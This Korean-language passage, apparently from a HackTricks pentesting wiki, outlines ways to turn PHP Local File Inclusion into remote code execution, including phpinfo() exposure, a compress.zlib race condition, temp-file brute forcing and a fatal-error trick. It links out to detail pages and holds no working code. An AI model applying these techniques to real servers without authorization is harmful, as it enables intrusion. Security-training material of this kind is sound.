만약 Local File Inclusion을 찾았고 file_uploads = on으로 **phpinfo()**를 노출하는 파일이 있다면 RCE를 얻을 수 있습니다:

{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure를 통해

만약 Local File Inclusion을 찾았고 임시 파일의 경로를 exfiltrate할 수 있지만 server가 포함할 파일에 PHP 마크가 있는지 검사한다면, 이 Race Condition으로 그 검사를 우회해볼 수 있습니다:

{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}

eternal waiting + bruteforce를 통해

만약 LFI를 악용해 임시 파일을 업로드하고 서버가 PHP 실행을 hang하게 만들 수 있다면, 몇 시간 동안 brute force로 파일명을 시도해 임시 파일을 찾을 수 있습니다:

{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}

Fatal Error로

다음 파일들 중 어느 하나를 include하면 /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (해당 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).

이게 어떻게 유용한지는 모르겠지만 가능성은 있습니다.
심지어 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다.

참고자료

{{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}}

{{#include ../../banners/hacktricks-training.md}}